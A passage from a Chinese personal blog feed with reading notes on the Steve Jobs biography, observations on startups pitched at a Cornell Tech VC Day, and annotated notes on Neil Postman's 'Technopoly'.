  • 图像用户界面,GUI,也收到了施乐在当时另一个前锋概念“位图显示”的推动。它使得屏幕上每一个像素都是由电脑内存控制的,包括像素的明暗,能够支持图像,字体等效果。当时施乐的秘密项目,基于位图显示和图形界面的电脑样机,以及面向对象的编程语言SmallTalk。苹果允许施乐投资自己,于此同时要求向苹果展示其新技术。
  • +
  • 学会关注敌方阵营的优秀人才。给他们想法,告诉他们在创造一个新的东西。尤其是当他们在被糟糕的将领,糟糕的商业决策管理的时候。这是挖角的最好时期。
  • +
  • 尤其关注协调能力。推动一个事情完成,尤其是个人难以完成的项目,一定是需要协调的。
  • +
  • 乔布斯25岁的时候苹果公司上市。面对他公司里出现的很多百万富翁开始过上稀奇古怪的富人生活,他说,“我答应过自己,不会让钱毁了我的生活。”
    +

    读书,帮助你可以更清晰地梳理自己,也更清醒地面对自己的命运,去接受那个可能不会更好也不会更糟的生活本身,并尝试做出改变。

    +
    +
  • +
+

Macintosh

    +
  • 乔布斯说“这是狗屎”,其实他想说: “这不是最好的方式。”
  • +
  • 乔布斯希望mac占地很小,扔了一个电话簿出来,说,mac和桌面的接触面积不应当超过这个电话簿的尺寸。
  • +
  • 工程师提出了一个新算法能够画出圆形和椭圆。大家都说很好,乔布斯说:圆角矩形怎么样。然后说服了他。
  • +
  • 45名mac的工程师的名字刻在没有人看到的电脑主板内部。这是一件艺术品。
  • +
  • 整版广告:welcome IBM. seriously.
  • +
  • 乔布斯主导的macintosh和曾经被逐出管理权的lisa项目之间有产生了冲突。lisa提早一年发布,而macintosh不兼容lisa以及apple II的软件。
  • +
  • 过程就是奖励。(The journey is the reward)即便是面对团队,也要给他们准备one more thing。
  • +
  • 当海盗,不要当海军。
  • +
  • 斯卡利,来自百事可乐的营销人员。
  • +
  • 1984年。在展示中,乔布斯拿出了那个很经典的对比:电报和电话。许多人希望在大家的桌子上放上各式各样的电报,但电话let you sing, let you express the way you want。 我们要做电脑时代的电话。视频:Steve Jobs Introduces the Macintosh.
  • +
  • 想做一个富有创造性的人,就不能太经常回顾过去。无论过去是怎么样子的,都必须心甘情愿地接受,并将一切抛诸脑后。
  • +
  • Macintosh的市场表现并不好,只有128k的内存,没有内置硬盘,风扇,导致零件经常过热而失灵。
  • +
  • 1985年乔布斯被董事会免去了将近所有的行政职责。他喜欢和知识渊博的人交流,在经历了欧洲之旅,苏联之旅以及和生物诺奖教授交流之后,他决定新开一个公司,召集了5个曾经的苹果的员工,在教育领域,制造能够支持更强大计算能力的个人电脑。他自由了。结果是一些列炫目的产品,但都遭遇了市场失败的重挫。他后来巨大的成功,并非因为在苹果的下台,而是下台后华丽的失败。
  • +
+

NeXT

    +
  • 所谓的扭转现实的能力,不过是一次又一次的争取。
  • +
  • 以及一定要找到最好的人,最好的设计师,最合适的材料来做出世界级的标识。他说服了兰德给他设计Next的标识,他也说服了艾斯林格的Frog工作室停止与苹果合作并转而和Next合作。
  • +
  • 乔布斯在NeXT一开始投入了700万美元,但只有了优雅的标识和时髦的办公室,没有产品,卖友营收,进入1987年。直到佩罗投入了2000万美元。
  • +
  • 乔布斯和比尔盖茨的不同在于,是在基本理念上,是否应该做兼容的产品。乔布斯看好硬件和软件集成的端到端一体化的系统。
  • +
  • 1985年乔布斯个人出资1000万美元入股了Pixar。他预想到,随着个人电脑的计算能力的增强,电子图像和动画会是最大的获益者。他说,“硅谷的人不尊重好莱坞的创意特质,而好莱坞的人则认为技术人员是那些只需要雇佣而不需要见面的人。”
    +

    起因是因为朋友知道乔布斯喜欢艺术方面的灵感,于是带着他去认识了pixar的负责人们。

    +
    +
  • +
  • 与迪士尼的合作,让皮克斯获益。拉塞特,在迪士尼工作不畅,在皮尔斯做出的动画电影使人眼前一亮。要让最适合的人,拥有最大的发挥空间。在资金短缺的情况仍然给拉塞特拨款,tin toy成为了首个获得奥斯卡最佳动画短片的电脑制作动画。
  • +
  • 乔布斯在皮克斯时期犯下的错误是,他认为普通消费者会喜欢用皮克斯的软件来制作3D图形。他直觉上的先见之明是,让艺术和数字技术融合。
  • +
  • 决定一个领导人的关键特质:极强的控制欲。然后这家公司便会逐渐成为他审美的模样。
  • +
  • 乔布斯回忆时说,“命运似乎诱骗我去做这件事,而这也许是为了把它做的更好。”
  • +
  • 乔布斯认为有一个理想的统一的美的标准,人们应该被教育。包豪斯运动

    +
    +

    包豪斯艺术风格:

    +

    形式追随功能。不是为了艺术而艺术,去掉多余的装饰。

    +

    设计是为大众服务的,而不是为少数权贵服务的。

    +

    使用原材料的,而不经过过多的加工。

    +
    +
  • +
  • 在皮克斯和迪士尼合作的时候,乔布斯深深地感触到如何要有对自己的控制权。他决定,在「玩具总动员」发布的时候,皮克斯也要上市。他清楚,皮克斯需要钱,然后依次为筹码和迪士尼重新谈合同。

    +
  • +
  • 乔布斯创造了他那个时代最好的两个品牌:苹果和皮克斯。
  • +
  • NeXT逐渐在转型成为一个软件公司,他们授权他们的企业软件被安装到不同的硬件平台上。但乔布斯清楚,这让他很沮丧。
  • +
  • windows用几年的时间模仿macintosh的图形用户界面,在1995年的windows 95上成为了有史以来最成功的操作系统。
  • +
  • 当竞争对手热烈地想要合作的时候,你要知道你已经站在了陷阱边缘。
  • +
+

Comeback

    +
  • 叶芝《再度降临》,“何等野兽,终于等到它的时辰。”
  • +
  • 1997年。当苹果董事会重新邀请乔布斯回去出任CEO的时候,乔布斯犹豫了,他还在皮克斯当CEO,他问周围皮克斯的股东们,他们回应说,“史蒂夫,我才不在乎苹果会怎么样。”而乔布斯愣住了,他也才发现,他是在意苹果的存在的。
  • +
  • 没有平庸的产品。要么是英雄,要么是垃圾。
  • +
  • 你要知道什么时候直接了当地表达自己的情绪。让自己毫无保留地相信一件事情,也是最精湛的欺骗。乔布斯重新登上舞台的那一天,他说,“告诉我这个地方出了什么问题”,他说,“是产品出了问题!”,“那么产品出了什么问题?”,“产品糟透了”,“它们不再性感了。”
  • +
  • 【说服的艺术】”诸位,如果你们不愿意这样做,我下周就不回来上班了。因为我将面临成千上万个比这个困难得多的决定要做,如果你们在这样的决定上都不支持我,我注定会失败。所以如果你们不批准,我就辞职,你们可以怪到我的头上。“
  • +
+

1997年的Macworld

+

主角和重心永远在于苹果,永远不要喧宾夺主让合作商分心。无论观众是对微软作为合作伙伴的出现是欢呼还是倒喝彩,一定要牵回来。乔布斯演讲的重心在:status report。苹果到底出了什么问题,以及更重要的,振奋人心。

+
    +
  • apple become irrelevant.
  • +
  • cannot execute.
  • +
  • anarchy, cannot manage.
  • +
  • 乔布斯回应,苹果在某些领域仍然extraordinary relevant。it execute wonderfully on some wrong ways。有很多很强的人在苹果,但是结果不好是因为计划不好。至于anarchy的理论,不,他觉得不是这样的。苹果里面的人依旧愿意,甚至非常希望跟随good strategy,但可惜的是这样的策略一直没有出现。将外界的猜测直接揽到了苹果的管理层上面,保护了苹果的工程师,他们依旧是很出色的人,但是苹果需要更加出色的领导者。
  • +
  • 直面地承认对手的好,但是要承诺我们会更好。 虽然很多creative content的从业者选择了macintosh,但是其实其中很大一部分都可以选择adobe的photoshop来完成,这是一个很强大的工具。你还记得上一次苹果和adobe很紧密地联系在一起,以及你还记得上一次我们跑到adobe那里说我们怎样可以制造一个电脑来使得photoshop更快。这些没有像它应该发生的那样发生,我们接下来会重点关注这一块。
  • +
  • 这是这次大会最经典的话:我们必须摒弃一种观念说,当苹果赢的时候,微软必须输。我们必须拥抱一个观点:当苹果赢的时候,是因为我们自己完成的很好。如果有人愿意帮助我们,那是极好的,因为我们需要那些帮助。但是如果我们把这些搞砸了,那不是别人的问题,而是我们自己的问题。
  • +
  • apple is the largest education supplier company.
  • +
  • apple and microsoft combined takes 100% of desktop industry.
  • +
  • 视频:Macworld Boston 1997-Full Version
  • +
+
+
    +
  • 🌟【说服的艺术】 1997年MacWorld,乔布斯第一次代表苹果重返舞台。如何利用战争。不要让他很快的停止,只要让他们陷在战争里就行。以及清晰地了解到,战争也能够成为一种很有利的筹码,因为大家都希望结束战争。乔布斯给比尔盖茨打电话说,“微软在侵犯苹果在图形界面上的专利,如果我们继续打官司,几年之后苹果可以拿到10亿美元的罚金,这一点你知我知。但是那样的话,苹果反而撑不到那个时候。所以让我们想想如何立即解决这个争端。我所需要的是微软承诺继续为mac开发软件,并且微软向苹果投资,这样微软也能从苹果的成功中获益。”,最后微软同意向苹果投资1.5亿美元,换取无投票权的股份。
  • +
  • 在盖茨的形象在屏幕中出现的时候,观众倒了喝彩。乔布斯即兴地安抚了观众,“如果我们想进步并看到苹果好起来,我们必须放弃一些东西。我们必须放弃这种如果微软赢苹果就必须输的观念。我想,如果我们希望在mac上使用微软office,我们最好还是对开发它的公司表达一点儿谢意。”
    +

    不是所有拥有扭曲现实能力的人,都对产品的完美有着这样的忠诚。

    +
    +
  • +
+

Think Different

    +
  • 品牌形象从来不是一系列突出产品的广告。创意目的并不是赞美计算机可以做什么,而是赞美富有创造力的人们在计算机的辅助下可以做什么。这不是在说处理器速度或者是内存,而是在说创造力。它的目标受众不仅仅是潜在的顾客,还包括苹果自己的员工。我们部分的员工已经忘记了自己是谁。要回想起自己是谁的方法之一,就是要想起你的偶像是谁。这是这次think different宣传活动的缘起。
  • +
  • think different的广告。是用乔布斯的声音还是用德莱福的声音。乔布斯说“如果用我的声音,人们发现后会觉得那是关于我的广告。可那不是,那是关于苹果的。”乔布斯带他的广告制造人员去看每一个苹果的新品制造。
  • +
  • 知道自己在说什么的人,不需要powerpoint。
  • +
  • 在苹果公司创立之初,乔布斯首先确定了mac电脑的外壳,工程师们才依次制造合适的主板和原件。
  • +
  • 学会重来。乔布斯所做的每一件漂亮的事都曾有过返工的时候,当他觉得不够完美时,就会重来。如果你发现有些事做得不对,你不能只是忽略它,然后说以后再处理,这是其他公司的做法。很多时候关于体验的创意来自于不同行业的不同地方。在设计苹果店的genius bar的时候,去让每个人描述自己享受过的最好的服务,然后从那里入手开始观察。
  • +
  • 带最有价值的员工外出集思会。确定十大最应该做的事,然后把最后七件全部划掉,“我们只能做前三件”。
  • +
  • 2001年,苹果战略:个人计算机不会成为边缘化的副线产品,而将成为一个数字中枢。中枢的意义在于,你在这个地方进行相同活动的价值,大于你单独操作。,乔布斯说,“因为能够在imac上操作,使用imovie,摄像机的价值增加了100倍。”,类似的说法在ipod时期也出现了,因为itunes的存在,你音乐文件的价值增加了100倍。
    +

    很多时候要看准平台的上限。你在赌这个东西未来会不会成为人们生活的核心,甚至你要努力让它成为核心。

    +
    +
  • +
  • 科技都是会过时的,但是对科技和人性本质的理解不会过时。这就是为什么要站在人文和科技的交叉点上。
  • +
  • 在adobe拒绝为apple提供专业领域的软件的时候,乔布斯坚定了他的决心:对一个系统中的所有关键元素实施端到端的控制。
  • +
  • 🌟有意思的是,其实个人计算平台的演化也是从中心化逐渐过渡到去中心化的。那个时候乔布斯认为,当个人计算机成为了中心,可以使便携式设备变得更简单。苹果也是唯一一家提供整合方案的公司,硬件、软件、操作系统。苹果能够为用户体验负全部的责任。
    +

    人们很容易抗拒这一点。

    +

    怎么理解这个,“感受是私人的,审美也是私人的。而乔布斯为什么认为存在一种美的标准?”;回答:因为本身市场买卖这个过程就不是私人化的,你能接触到的每一个产品都在强制、单向地输出着它代表着的审美观。而审美的判断是在这个市场化的过程中产生的。乔布斯希望给消费者提供相对更好的体验。

    +

    问题二:什么情况下迎合能够得到更好的效果,比如今日头条的资讯流?而什么时候输出更高的审美品味能够得到更好的效果?这里要分清楚两个概念,内容的迎合还是体验的迎合。而我们希望哪一种优势更难以复制。

    +
    +
  • +
  • 每次团队觉得已经考虑很周全了,乔布斯会说“你们想过这个吗?”。
  • +
+

iPod & iTunes

    +
  • 乔布斯在ipod上的一个做法:限制功能,比如在ipod上制作清单的功能是不需要的,可以在电脑上来做。而同类竞品rio则不得不通过复杂的功能在硬件上实现。
    +

    这同样受益于苹果端到端的控制。

    +
    +
  • +
  • 同时乔布斯要求,ipod上不能有开关键。开关键是没有必要的。
  • +
  • 阻止盗版的最佳办法:提供一个比盗版服务更加吸引人的选择。
  • +
  • 【说服的艺术】“你们合作了这么久解决了什么?他们解决不了任何问题,你可以看看这里,我们有整合的方案。”
  • +
  • 【说服的艺术】他会同意一些事,但永远不会实现。他会把你设进一个局,然后置之不理。
  • +
  • itunes的成功带来了另一项微妙的好处,即用户的在线身份和支付信息。itunes于是可以很轻易地进入其他电子信息的分发,比如杂志出版商,应用程序以及视频等。
  • +
  • 视频:Every Apple iPod Ad ever. (2001-2012) 其中ipod shuffle: “put some music on“很惊艳。
  • +
  • 视频:Macworld San Francisco 2005 The iPod Shuffle Introduction
  • +
  • entry product & professional product。entry product的意义在于扩大市场,让更多曾经不是这个市场的人进入这个市场。比如ipod shuffle。
  • +
  • 乔布斯说,商业界有个理论是,“第二个产品综合症”,症结在于对第一个产品的成功缺乏理解。
  • +
  • 专注。给苹果树剪枝。
  • +
  • 在古罗马,当胜利的将军凯旋时,传说会有一个仆人,在他身边重复“死亡警示“。意思是,记住你终将死亡。必死的警示有助于英雄们正确地看待事物。
  • +
+

iPhone & iPad

Steve Jobs和Bill Gates同台

    +
  • 视频:Steve Jobs Introducing The iPhone At MacWorld 2007
  • +
  • 视频:Steve Jobs and Bill Gates Together at D5 Conference 2007
  • +
  • 看产品的不同角度:微软看到的是各式各样的电脑厂商,他们希望搭建软件可以在这些厂商的硬件上运行。苹果看到的是消费者市场,当时没有一个电脑厂商可以提供端到端的体验。
  • +
  • 问题:未来5年的设备会有什么改变。盖茨提到了很多很准确、实用的角度,比如导航、电子钱包等应用以及投影、柔性屏等设备上的进步。乔布斯则是回答“不知道”,设备里的体验大多是根据当时的消费者市场而来的,而当时大部分的需求是通讯,以及小部分的娱乐。
  • +
  • 未来的电脑形态:盖茨提到了3D。3D是管理安排事情的一个形式。就好像你走进图书馆,你看到书本整齐地排列好。

    +
  • +
  • ipad的想法先于iphone出现,并且帮助塑造了iphone。

    +
  • +
  • iphone使用的康宁金刚玻璃其实很早就停产了,乔布斯一再拒绝接受康宁CEO的说法,最后在6个月时间内竟然做到了。
  • +
  • iphone一开始是将屏幕玻璃嵌入在外侧的金属外壳里,但是乔布斯觉得这样不好,屏幕显示是重心,因此要重新再设计一遍。
  • +
  • itunes和ibook面对的音乐和图书市场使用了两种不同的策略。itunes是每一首歌都分拆,以0.99$的价格,因为苹果是第一个尝试整合的公司。但是图书领域苹果不是第一个,同时先行者亚马逊搞砸了使得图书出版商强烈抵制。于是苹果采用代理制的模式,出版商可以随意定价,然后苹果提成30%。接力使力。借助这些图书出版商的抱怨来促成一些事情。
  • +
  • 乔布斯对于报纸行业的观点,“现在的核心问题不是自由派和保守派,而是破坏性和建设性,而你们却和具有破坏性的人同流合污。福克斯已经成为我们社会一个非常具有破坏性的力量。”
  • +
+

结尾

    +
  • 创新者的窘境。发明某个事物的人往往是最后一个看到它过时的。
  • +
  • 开放还是封闭。乔布斯给苹果留下的端到端的控制有一个很重大的作用,就是推动改变。icloud这种将云端作为数字中枢的概念不是苹果所独有的,亚马逊和微软在2011年左右同样宣告了这个概念,但是唯有苹果,在控制了这个产业链上的每一个环节:电子设备,计算机,操作系统以及应用软件,只有苹果能够无缝衔接推动这项功能落地。
  • +
  • 政治在和你讨论一样东西它能不能做成,但是我们其实更应该讨论的是,它应不应该做成。反对者会和你说,根据什么什么法案,这做不到,要让这个通过这个党派,这做不到。但是他们从来不和你讨论,我们到底应不应该去做,我们应不应该推动全民医保,抑或是禁枪法案等等。
  • +
  • 理解的语序是关键,我们采用封闭的环境不是因为我们是控制狂,而是因为我们愿意为用户全部的体验负责。
  • +
  • 我的责任是当事情搞砸了的时候说实话而不是粉饰太平。要清楚的知道现在是改革期还是维稳期。会小心不去伤害别人的领导者,在推动变革的时一般都没那么有效。
  • +
  • 创新本身并不是我事业最主要的与众不同的东西,苹果之所以能够与人们产生共鸣,是因为在我们的创新中深藏着一种人文精神。
  • +
  • 有一种人,把自己称作企业家,实际上真正想做的却是创建一家企业然后把它卖掉,却不愿意费力气打造一家真正的公司,而这才是商业领域里最艰难的工作。
  • +
  • 这是我在试图创建的文化:我们相互间诚实到残酷的地步。任何人都可以跟我说,他们认为我做的就是一堆狗屎。而我也可以这样说他们。
  • +
  • 我的动力是什么?我没有发明我用的语言与数学,我的食物基本都不是我做的。我所做的每一件事都有赖于我们人类的其他成员,以及他们的贡献和成就。我们试图用我们仅有的天分去表达我们深层的感受,去为历史长河加上一点什么,那就是推动我的力量。
  • +
  • 如果你积累了所有的这些经验,可能还有一些智慧,然后这些就这么消失了,会有些怪怪的。所以我真的愿意相信,会有些什么东西留存下来。但是另一面,也许就像一个开关一样,啪,然后你就没了。也许这就是为什么我从不喜欢在苹果产品加上开关吧。
  • +
+]]>
+ + + + + + + + + + + + + + + + + +
+ + + <![CDATA[VC Day项目观察]]> + + http://chocoluffy.com/2019/03/31/VC-Day项目观察/ + 2019-04-01T01:06:57.000Z + 2019-09-21T14:30:39.240Z + 近期我参与到了Cornell Tech组织的VC day,并代表Firis团队做了公开pitch。这篇博客作为我参与流程中的观察和思考。

+

能够在多名重量级VC面前实打实地pitch是一次很宝贵的锻炼机会。90秒时间,到时间强制打断,只有三张slides的展示机会。基本钉死了要我们剥离出这个产品最重要的东西。

+

不同的产品在准备故事的时候有不同的侧重点。

+

ToC的产品复杂的从来不应该是产品逻辑本身,毕竟如果光是产品的玩法都要介绍那么久,不直观,那么这本身就限制了其消费者市场的增长。ToC的产品重点应该放在需求和市场,去证明增长的潜力。

+

应当承认的是,投资人对不同类型的产品期望是不同的,很多情况下心里有一把杆子来衡量产品的「Growth」和「Profit」。ToC的产品在大部分情况下是侧重Growth的一面,可以承受短期的亏损,但是用户增长和留存必须好看,而ToB的产品则更侧重Profit的一面,是否从一开始就存在清晰的盈利模式。

+

目前我的一个观察是,当今其实很多的ToC的产品,实际上是做BtoC而不是CtoC。这是一个可以理解的趋势,因为渠道的红利在慢慢饱和,尤其针对移动端市场而言。

+

渠道本身的发明是为了降低信息传递的成本。但当渠道两端信息增加并缺乏有效的匹配机制时,将最终提高整个市场的交易成本。于是演化出两个改善方向,一是利用更有效的匹配算法,另一个则是在两端逐渐形成中心化模块化的资源集合,为了节约交易成本1。前者,是以今日头条、快手为首的算法推荐方向,后者,是以拼多多、云集微店为代表的B2C平台。

+

这也提供了一个观察现场项目的角度。以下是除了我们之外的其余项目的记录,列有项目名称,简介以及一个现场反馈的评分。加粗的项目为反馈较好的项目(也包括我们的Firis!)

+
    +
  • weARlope: AR glass for streaming video content. 6
  • +
  • Xboard: machine learning deployment and platform for corporation. 10
  • +
  • Lightbox: animation production collaboration platform. 4
  • +
  • Figi: fashion comparison app. 4
  • +
  • Qix: squarespace for bitcoin, visualization for smart contract. 5
  • +
  • Auggi: computer vision for congestive health. 8
  • +
  • Ludus: sports peers betting platform. 4
  • +
  • Tamper: sports headphone without phone. 8
  • +
  • Skyhawk: insurance for flight emergency. 6
  • +
  • Wellconnect: 6
  • +
  • Halo: virtual gift card. 5
  • +
  • Owly: digital parental monitor platform for parents. 3
  • +
  • Archetype: auto translate from one typeface into another. 3
  • +
  • Table: hosting and sharing dataset. 3
  • +
  • Nudget: initiate meaningful conversation by triggers with parents. 4
  • +
  • Elsewhere: personalized traveling experience. 3
  • +
  • Otari: smart yoga mat using computer vision. 8
  • +
  • Corcus: financial market for contents. like patreon but in cryptocurrency. 6
  • +
  • Moon: bakery delivery. 6
  • +
  • Contentor: 2
  • +
  • Grow: a slack extension for personal progress tracking. 8
  • +
+

听现场VC们的点评也能看得出一些常见的问题,尤其对于只有90秒的pitch时间,这个形式有其偏好和局限。

+
    +
  • 不适合拥挤赛道的产品。比如fashion,以及e-commerce。
  • +
  • 适合主打商业模式创新的项目。比如Uber for X。
  • +
  • 投资人容易偏好新方向上的需求,比如机器学习toB的方案; Health Tech;以及运动方向的硬件。
  • +
+

总结一下:

+
    +
  • 表达上一定要找到最核心的东西。
  • +
  • 而逐渐学习到怎样快速提炼出现象的本质,就是商业能力上的成长。
  • +
+

期待一个月之后的第二场VC day!

+

  1. 1.科斯的公司形成的理论。
]]>
+ + + + + + + + + + + + + + + + + +
+ + + <![CDATA[技术的偏见 -《技术垄断》阅读批注]]> + + http://chocoluffy.com/2019/03/30/技术的偏见-《技术垄断》阅读批注/ + 2019-03-30T15:36:57.000Z + 2019-09-21T14:30:39.244Z + 4.5/5星。

+

有些时候我会很警惕被热烈拥护的主流观点,我不是在反对主流本身,而只是想看清楚我们会失去什么,和那些还没被说完甚至被刻意隐瞒的话。

+

这也是这本书观察技术进步史的角度。

+

工具带有偏见,也以偏见塑造着使用者。这很接近麦克卢汉的“媒介即信息”的理论,比如互联网这个媒介的普及,在改变着我们理解这个世界的方式,”真实“,”隐私“等词语的含义也远不同于过去的理解。

+

我有种感觉,工具提供着的某方面的便捷,也同时在消解着其成就繁荣的意义。比如,信息泛滥的时代,在贬低着信息的意义;煽动情绪的泛滥,在消解着情绪本身的严肃性。而消解意义,正是成为可交易商品的前奏。直到信息,情绪,乃至生活本身,都能够成为别人的消费。1

+

在18年的年终总结,“抵抗存在的被遗忘”2,我从人的情绪本身出发,去观察媚俗。而波兹曼则再退一步,是工具的演化在逐渐塑造着人们的情绪。他说,要守护那些重要的故事和符号,成为一个忠诚的抗争斗士。我想这或许就是他的存在主义。

+

这个世界是喜欢魔法的。魔法的意义,在于将人们的注意力指向错误的地方,并通过这种做法,唤起我们的好奇心,而不是理解力。如果我们不假思索地接受新发明,到最后我们也只能完成工具能完成的事。就像我们习惯性地对这一群人说,到最后我们只能说出他们想听的话。

+

而讽刺的是,每个时代都会演化出那个时代伟大的声音,让受害者享受伤害,而放弃辩诉的权利。

+

我会记住来自波兹曼的提醒。技术从来不是必然的,也从来不是自然的,都带着某种计划、日程和哲学。也许能够提升生活品质,也许不能。因而技术需要监督、建议和克制。

+
    +
  • 文字被创造出来的时候,曾经有人这么反对:能改善的只是回忆,而不是记忆。
    +

    这个是一个很有意思的担心,虽然结果错了,但是其思考的角度值得借鉴。重点在于改变了什么。文字的出现,其实改变了“知识”和“真理”的含义。知识不仅仅只存在在人们的脑海里,它可以保存在客观世界里,被传递。一个人的生活能够被记录下来。

    +
    +
  • +
  • 或许从结果来看,人文主义所抵触的技术主义的论断很多都是错的,“但我们总是需要一些反对的声音,来缓和狂热的大多数人所制造的混乱。”
  • +
  • “新事物需要新的词汇,而新事物同时也会更改旧词汇。”
  • +
  • 最像人的人,会是由机器人训练出来的。
  • +
  • “利用新技术获得能力的人而成为精英人群中的一员,而不具备这种能力的人会高估他们的权威和声望。”
  • +
  • 新工具,破除了传统的知识垄断。少说了后半句话,也能够形成难以破除的新型的垄断。斩下恶龙的勇士,也可能成为下一个难以被斩除的恶龙。
    +

    【剧本】黑白契约,续。而很多情况下,输家在向赢家喝彩。曾经的奴隶主,用痛苦来剥削你,现代的奴隶主,用福利来剥削你。而他们选择改变\接受改变\(他们按下核弹按钮,甚至接受基因改造)的原因,一点儿也不是好奇心,也是报复。越是民主的国家,也能够找到这样一个形象来完成复仇。复仇那个高高在上的精英阶层,那些1%。

    +
    +
  • +
  • 狭义的说,“流媒体会宣告教师职业的死亡,因为学校是印刷行业的衍生品,其生死存亡取决于印刷业在这个事业的重要性。”。但广义的说,教师这个职业永远也不会消失,因为信息筛选和传授永远都有价值。
  • +
  • 数字的局限性:偏好容易获得的数据;导致高估量化的标准而低估无法量化的标准。
  • +
  • 任何一个工具都存在观念上的偏见,会倾向于将世界构建成某种特定形态。互联网的存在,导致我们看世界的方式和前人有很大的不同,我们对“何为真实”这个问题的理解已不同于过去。
  • +
  • 人们习惯性对这一群人说,到最后我们只能说出他们想听的话。同样地,如果我们不假思索地使用技术,到最后我们也只能完成工具能完成的事。
  • +
  • 但同时,因为技术能够改变一切的能力,也会反哺人们去探究那些他们曾经认为不会改变的价值,比如:亲情、真实与善良。
  • +
  • 技术服务文明 -> 技术统治 -> 技术垄断。
    +

    技术统治文明:阻止信息流动的手段。
    而技术垄断的阶段,则是上述阻止流动手段失效的阶段。
    【剧本】那些我们发明出来却唾弃诅咒的事物,或许曾默默守护着我们很久很久。

    +
    +
  • +
  • 工具诞生的开始,是为文明服务的。是人们的信仰引导了工具的发明,并限制了工具的使用。普遍于中世纪,因为存在一个更为宏大的概念,也就是神学,统治着大家的思想,因此工具的作用范围是局限的。
  • +
  • 马蹬的发明,造就了中世纪的骑士阶级。
  • +
  • “一个人思维的进步和生活状况的改善根本就是同一件事。”很多时候人的愤怒,妒忌,都是来自于自己对生活预期的偏差,而这种偏差往往无辜,因为思维的局限性而导致受到其他人经历的干扰。要学会自己去调节这个预期。
  • +
  • 培根提出了四种假象:
      +
    • 族类假象:使我们误以为知觉可以等同于自然的真实情况。
    • +
    • 洞穴假象:使我们听信源自前人和周围环境的错误观点。
    • +
    • 市场假象:使我们被言辞所迷惑。
    • +
    • 剧场假象:是我们受到哲学家的教条的误导。
    • +
    +
  • +
  • “19世纪最伟大的发明正是发明这种想法的本身。我们已经学会如何发明新的事物,但是为什么要发明这些事物,却显得不那么重要。人们相信,只要是能做的,就应该把它做出来。”
    +

    【剧本】而讽刺的是,每个时代都会演化出那个时代伟大的声音,为统治的繁荣辩护。

    +
    +
  • +
  • “宗教信仰让这个世界不再有意外事件发生,让人们在理论上能够理解各种事情,这也是宗教无可替代的地方。“这个比喻很精彩,给你一盒崭新的牌,如果前10张牌是从黑桃1到10,那个下一张牌你会觉得是黑桃J,但是一旦给你洗牌了,你就不会再相信下张牌的预期了。而中世纪的教堂的作用,就是在维护牌堆的合理顺序。直到伽利略出现,把牌堆重新洗过。
  • +
  • 教育机构的激增,导致信息需要规范化、批量化管理,信息、知识需要组织、限制和区别对待,也导致了可以将信息流动的某些部分合法化,同时限制其他部分。
  • +
  • 什么叫,双刃剑。破除了传统权威的工具,同样能够成就更坚固的新型权威。
  • +
  • 🌟 一样东西演化的过程,是逐渐脱离其语境的过程。(context)。也即变得越来越独立。文字一开始存在在书本里,是具有很强的目的性和语境的,直到电报的出现,创造了“不受语境约束的信息”,于是信息的价值不需要与其在社会和政治的决策和行动中所服务的功能捆绑在一起。电报使信息成为一种商品,一种不需要考虑其用途和意义就可以自由买卖的物品。“在电报发明后的两年内,报社的命运不再取决于新闻报道的质量和有用性,而是取决于报道的数量和速度。”
    +

    直播使生活成为一种商品。慢慢生活也会脱离它的语境。直播让我们间断性质地瞥入一个人的生活。自由买卖的生活是什么意思,或许是去订制观看一种精心设计过的特殊体验。这些对我们的影响是,我们对自己生活的感受力会迟钝吗?

    +

    而失去语境的后果是,也失去了它一开始的力量。我们失去了这些符号,这些故事的意义。

    +

    而任何文化都需要故事,需要它存在的意义。

    +

    如何抵抗?我的想法在年终总结里提到过,要保持感受、看见和理解的能力。

    +

    而尼尔波兹曼也给出了他的思路:成为一个忠诚的抗争斗士,守护着那些重要的故事和符号。

    +
    +
  • +
  • 我自己的一个变化,大学时候刚开始搭建博客,博客的副标题是,技术就是信仰。现在的我,能够理解当时的心情,但我也会羞愧地把这个标题换掉了。
  • +
  • 虽然中国的信息过滤机制是为了维护统治,但这也取巧地保护了新时代信息混沌环境下的人们。
  • +
  • 一个社会的制度和文明,就像是一个人的免疫系统,会破坏掉不需要的信息。一个很形象的例子,法庭,法庭里有很多的严格管控的机制来限制进入司法系统的信息量。比如陪审团不允许旁听是否接受某项证据的辩论。这些管控的依据是当前司法理论对公正的定义,即哪些信息应当被视为”相关”,哪些信息应被视为“无关”,而后者更为重要。法治,关心的是信息的‘破坏性’。
    +

    可以理解的,因为法律法规本身就是在规范期望,以达成共识。法院是一个很好的例子,其次是学校。

    +
    +
  • +
  • bureaucrat: 官僚。bureau,最早指的是记账桌台上的布。“官僚”这个词指的是在培训对人类问题的内容及其他方面都无动于衷的人员。纳粹前高官这么说:“他和纳粹没有任何关系,他只是负责将人群大规模地从一个地方转移到另一个地方的技术问题。”
  • +
  • 这个世界是喜欢魔法的。魔法的意义,在于将人们的注意力指向错误的地方,并通过这种做法,唤起我们的好奇心,而不是理解力。在技术垄断时代,我们被机器各种奇迹般的效果所折服,从而倾向于忽略机器背后所蕴含的思想。
  • +
  • 我不是在担心技术,我只是在担心因为技术而失去的东西。
  • +
  • ”广告商所必须了解的,其实不是产品有什么好,而是买主有什么不好。 因此,商业支出的天平开始由产品研发向市场研究倾斜,这就意味着,商业活动开始从“生产有价值的产品”变成“使消费者感觉到有价值”。 商业活动逐渐成为伪疗法,而消费者则成了病患,不断从心理剧中获得安慰。“
  • +
  • ”当前,人们普遍认为,有必要将计算机引入课堂。如果有人问:“为什么要这样做?”,答复将是 “为了让学习更高效、更有趣”。这样的答复根本没有回答“学习是为了什么? ”的问题。 “效率和兴趣”是一种技术性答复,它所回答的是方法,不是目的,更没有提供任何思考教育哲学的途径。“
    +

    想起一周前VC day上看到的一个用AR结合课堂考试的项目,在pitch中展示了很眼花缭乱的demo,而问答环节投资人第一个问题便是:除了新奇性(novelty)之外,你认为AR能够改变教育什么。

    +

    是有点严苛的审视角度,虽然在商业中很多的成败是相对的,但记住这个核心,可以帮助你决策的时候少走弯路。

    +

    也只有我们了解了这些人倡导教育的原因,才能理解他们所推荐的教育方式。而为了了解这些原因,我们必须尝试去了解这些人的故事。希特勒给德国人民的故事是雅利安种族优越论。

    +
    +
  • +
